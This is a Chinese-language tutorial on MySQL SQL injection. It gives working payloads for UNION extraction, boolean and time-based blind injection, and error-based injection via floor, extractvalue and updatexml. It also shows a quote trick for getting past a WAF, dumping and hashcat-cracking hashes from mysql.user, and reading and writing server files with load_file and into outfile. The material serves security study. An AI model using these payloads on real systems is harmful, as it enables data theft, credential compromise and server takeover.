字符型注入
對於字符型注入,SQL語句如下
SELECT * FROM user_info WHERE id = '1';
其實就是用戶輸入在引號內啦
就上面的定義來說,簡單的檢測方法就是用戶輸入帶引號,以導致SQL語句結構不完整而報錯或沒有響應
SELECT * FROM user_info WHERE id = '1''
SELECT 1 FROM user_info WHERE 1 = '1'''''''''''''UNION SELECT '2';
備注:多個引號的作用在一個智能WAF場景下,可以繞過語法檢測
只要能夠閉合,那么你就可以使用盡可能多的引號,在閉合完成的引號后面可以添加語句,利用引號閉合讓原本的引號逃逸
數字型注入
相對字符型的,數字型的就是不加引號,用戶輸入是數字,SQL語句如下:
SELECT * FROM Table WHERE id = 1;
注意 : 數字型注入中,true相當與1,false相當與0.
mysql的注釋符
很多時候,用戶的輸入往往是被拼接到Sql語句的中間部分而非結尾,這樣的話,可控部分后面的Sql代碼往往會對我們的注入語句產生影響,造成意料之外的錯誤。注釋查詢往往能很好的解決這個問題。
Hash語法 | |
---|---|
/* | C-style語法 |
-- - | SQL語法 |
;%00 | 空字節 |
` | 反引號 |
用法
SELECT * FROM user_info WHERE id = '' OR 1=1 -- ' AND last_name = ''; SELECT * FROM user_info WHERE id = '' OR 1=1 #' AND last_name = ''; SELECT * FROM user_info WHERE id = '' UNION SELECT 1, 2, 3`'; SELECT * FROM user_info WHERE id = '' OR 1=1 /*' AND last_name = '';
在Sql注入中,因為語法規則的限制,所以很多注入語句都需要滿足情況,否則整 個語句將會出錯,無法得到我們想要的結果,就比如當用戶獲取的參數被拼接到Sql 中,如果是字符型注入,那么我們每次都需要去在最后添加一個單引號去閉合原本 語句的第二個單引號,但是如果后面還有其余語句的限制的話,往往會出錯,因此 直接使用注釋的話,就能夠無視注釋之后的語句,從而方便我們的注入
數據庫系統表功能
mysql | 需要root權限,存儲用戶信息及權限控制 |
---|---|
information_schema | Version 5及更高,存儲的的是mysql的結構信息 |
performance_schema | 數據庫性能方案,注入一般用不到 |
SQL注入只要使用information_schema跟mysql,這兩個表里的數據對我們比較有用
比如:
mysql.user存儲用戶信息
information_schema.tables存儲所有表信息
information_schema.columns存儲所有表字段信息
information_schema.schemata存儲所有數據庫信息
在注入的時候可以利用這些表來獲取想要的信息,為注入提供了便利。
SQL注入的利用方式
獲取列數目
可以使用GROUP/ORDER BY
select * from test order by 4;
select * from test group by 3;
GROUP/ORDER BY一般我們都是接字段名的,不過我們也可以使用字段位數,從1開始計數的,如果不存在,則n-1是列數,下面我們看下例子,test表是三列
select * from test order by 4;
根據返回持續遞增或者遞減數字,直到返回一個Fal se輸出
注意:這個必須得輸出所有的信息才可以,如果SQL語句是下面這樣的,則不能得到全表的列數了
select name from test order by 4;
只返回name的值,則order by就只能是 1 了,其他數值都會報錯
Mysql不同的版本往往帶來不同的語句差異,因此探測版本往往也是必須的一環。Mysql的注入探測版本往往有兩種方式,一種是通過內置函數,還有一種是類似於盲目注入的手法,定位出版本。
內置函數:
SELECT VERSION();
SELECT @@VERSION;
SELECT @@GLOBAL.VERSION;
特殊結構
/*!VERSION SpecificCode*/ VERSION:數據庫版本 SpecificCode:當數據庫版本等於或高於指定版本時返回的數據 : /*后加了'!' 僅當MySQL的版本等於或高於指定的版本號時才會執行注釋中的語法 : /*后無'!'' 為Mysql的注釋語句 為Mysql的注釋語句
使用例子(我的數據庫版本是5.5.53)
SELECT @@GLOBAL.VERSION,/*!50540 8*/;
如果數據庫版本低於指定版本,則報錯
這種可以在過濾了內置函數的時候使用。
獲取當前數據庫名除了內置函數,
select database();
select schema();
還有就是從系統表中獲取,比如:
表information_schema.schemata的schema_name字段
表information_schema.columns的table_schema字段
表information_schema.tables的table-schema字段
表mysql.db的db字段
SELECT schema_name FROM information_schema.schemata; #獲取了所有數據庫
SELECT DISTINCT(db) FROM mysql.db; #db里面是針對數據庫某個用戶擁有的權限,所以可能不能獲取所有的數據庫
獲取數據庫憑證
表mysql.user的user,password字段

用戶名這個有一些內置函數可以使用,有哪些呢
select user();
select current_user();
select current_user;
select system_user();
select session_user();
獲取了賬號密碼也沒有用,一般密碼是動態md5加密的,可以使用hashcat工具嘗試破解
hashcat破解密碼
我是安裝的Windows版,但是使用的時候報錯了
訪問錯誤提示中的鏈接
To disable WDDM recovery, create a file called
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers]
"TdrLevel"=dword:00000000
Run this registry file as Administrator and reboot.
hashcat64.exe -a 0 -m 300 --force 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B password.txt
注:password.txt字典是自己寫的,里面就寫了我的真實密碼,其實就是為了測試工具,這個自己需要自己慢慢收集,字典越龐大爆破率越大
獲取表名
這個可以利用系統表進行查詢的,
表information_schema.columns的table_name字段
表information_schema.tables的table_name字段
select table_name from information_schema.columns;
select table_name from information_schema.tables;
獲取列名
這個其實跟表明類似,也是利用系統表的
表information_schema.columns的column_name字段
select column_name from information_schema.columns;
一個特殊的獲取列名的方法:limit后注入
看名字就很明顯看出注入點在哪里啦,limit后面,一般limit都是在SQL語句最后的,用來控制輸出的數量或者區域
哪利用了什么呢?就是PROCEDURE ANALYSE()
語法eg:select column from table_name procedure analyse();
這個是用來干嘛的呢?是通過分析select查詢結果對現有的表的每一列給出優化的建議
SELECT * FROM user_info FROM Users WHERE id = {INJECTION POINT};
#1 PROCEDURE ANALYSE() Get the first column's name
#1 LIMIT 1,1 PROCEDURE ANALYSE() Get the second column's name
#1 LIMIT 2,1 PROCEDURE ANALYSE() Get the third column's name
Union聯合查詢
這里先介紹一下Union,Union 操作符用於連接兩個以上的 SELECT 語句的結果組合到一個結果集合中。多個 SELECT 語句會刪除重復的數據,下面就是例子;union同一個表的數據,最后顯示的是一個表的數據,沒有重復
Union語法:
SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions] UNION [ALL | DISTINCT] SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions];
參數
-
expression1, expression2, ... expression_n: 要檢索的列。因為合並到一個集合里,所以標的檢索列數要是一致的
-
tables: 要檢索的數據表。
-
WHERE conditions: 可選, 檢索條件。
-
DISTINCT: 可選,刪除結果集中重復的數據。默認情況下 UNION 操作符已經刪除了重復數據,所以 DISTINCT 修飾符對結果沒啥影響。
-
ALL: 可選,返回所有結果集,包含重復數據。
上面了解了union的語法,其實回想為什么SQL注入要用這個呢,其實一般情況業務中的SQL語句都是固定表的查詢,但我如果查詢其他表的數據呢,這個時候就要使用union了,把其他表的數據合到同一個結果集合中返回。下面說個例子
select name,age from test where id={inject}
這個語句限定在test這個表,但如果我想查詢表字段怎么辦呢,這個表字段我們前面提到了information_schema.columns表有,那我們聯合這個表進行查詢,下面是SQL語句
select name,age from test where id=0 union select group_concat(column_name,','),2 from information_schema.columns ;
注:group_concat函數將所有數據拼接為一個數據
union還可以用來怕段注入輸出點
select name,age from test where id=0 union select 1,2;
通過控制第二個查詢語句的輸出來判斷輸出點,
即改變1,2的值,看輸出的是哪個值。
盲注查詢
布爾盲注
布爾很明顯Ture跟Fales,也就是說它只會根據你的注入信息返回Ture跟Fales
其實登錄處的注入就是布爾型的,萬能密碼就是構造一個永真的查詢,比如下面的
select user from test where passwd=‘{injuct}’; #構造永真,即令where的條件用於為真 select user from test where passwd=‘aa‘or’1’=‘1’; #注入的數據是aa‘or’1’=‘1
密碼輸入無論是否正確,查詢都成立。
布爾盲注其實就是利用了這種,我們什么時候需要采用這種呢
1)當沒有數據輸出點時,我們沒有辦法直觀的判斷注入的sql執行情況,
2)有正確或者錯誤的兩種返回,比如查詢正確返回一個頁面,失敗返回另一個頁面,但是沒有數據
時間盲注
界面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。
利用的內置函數
sleep(n):將程序掛起一段時間 n為n秒 if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
注入的語句
select user from test where passwd=‘aa‘and (if(ascii(substr(database(),1,1))>100,sleep(10),null)); #注入的數據是aa‘and (if(ascii(substr(database(),1,1))>100,sleep(10),null));--+
我們什么時候需要采用這種呢
1)當沒有數據輸出點時,我們沒有辦法直觀的判斷注入的sql執行情況,
2)無論查詢結果都返回同一個數據,無法判斷SQL語句執行情況
有如下報錯注入方法
#報錯注入floor (select 1 from (select count(*),concat((payload[]),floor(rand()*2))a from information_schema.columns group by a)b)limit 0,1 #報錯注入extractvalue select extractvalue(1,concat(0x5c,([payload]))) #報錯注入updatexml select 1=(updatexml(1,concat(0x3a,([payload])),1))
floor報錯注入
floot是區鎮函數,返回小於或等於 x 的最大整數
上面floor報錯例子中floor中傳入的是一個rand函數(返回 0 到 1 的隨機數)。
floor報錯注入主要利用的group by的機制,下面先來了解一下原理:
group by key的原理是循環讀取數據的每一行,將結果保存於臨時表中。讀取每一行的key時,如果key存在於臨時表中,則不在臨時表中更新臨時表中的數據;如果該key不存在於臨時表中,則在臨時表中插入key所在行的數據。group by floor(random(0)2)出錯的原因是key是個隨機數,檢測臨時表中key是否存在時計算了一下floor(random(0)2)可能為0,如果此時臨時表只有key為1的行不存在key為0的行,那么數據庫要將該條記錄插入臨時表,由於是隨機數,插時又要計算一下隨機值,此時 floor(random(0)*2)結果可能為1,就會導致插入時沖突而報錯。即檢測時和插入時兩次計算了隨機數的值不一致,導致插入時與原本已存在的產生沖突的錯誤。
主要檢測時和插入時兩次計算的所以輸不一致就會報錯。
extractvalue報錯注入
ExtractValue(xml_frag, xpath_expr)
ExtractValue()
接受兩個字符串參數,
一個XML標記片段 xml_frag
一個XPath表達式 xpath_expr(也稱為 定位器);
第一個參數可以傳入目標xml文檔,
第二個參數是用Xpath路徑法表示的查找路徑
原理
如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。
updatexml報錯注入
首先了解下updatexml()函數
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
函數作用:改變文檔中符合條件的節點的值
原理
如果XPath_string的值不符合xpath的語法格式則會報錯,報錯信息會提示這個數據錯誤
所以我們就在這個參數里注入我們的返回數據結果
數據庫讀寫文件
讀寫文件前提: 1、用戶權限足夠高,盡量具有root權限。 2、secure_file_priv不為NULL
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
-
當secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
-
當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
-
當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
如何查看secure_file_priv參數的值,如下
show global variables like "%secure_file_priv%";
如果為null,可以修改my.ini文件,如下
怎么判斷權限是否足夠呢
就看你有沒有權限訪問mysql.user表了
and (select count(*) from mysql.user)>0 /如果結果返回正常,說明具有讀寫權限./ and (select count(*) from mysql.user)>0 /* 返回錯誤,應該是管理員給數據庫賬戶降權了*/
load_file讀文件
額外條件:
1)文件必須位於服務器主機上
2)必須知道絕對路徑
3)必須有FILE權限
4)文件所有字節可讀,但文件內容必須小於max_allowed_packet
SQL語句
select load_file(‘E://test.txt’);
into outfile寫文件
額外條件:
1)輸出文件必須還不存在。這防止MySQL弄錯文件很重要
2)必須知道絕對路徑,如果不指定路徑的話是默認在當前數據庫目錄下創建文件
語法結構
select 【內容】 into outfile 【文件路徑】
前面的內容可以使用16進制編碼的,會自動解碼的,這種就可以繞過過濾了引號的情況
select 0x61 into outfile 【文件路徑】
參考鏈接
https://blog.csdn.net/jpygx123/article/details/84191704
https://blog.csdn.net/vspiders/article/details/77430024
https://www.yiibai.com/mysql/mysql_function_load_file.html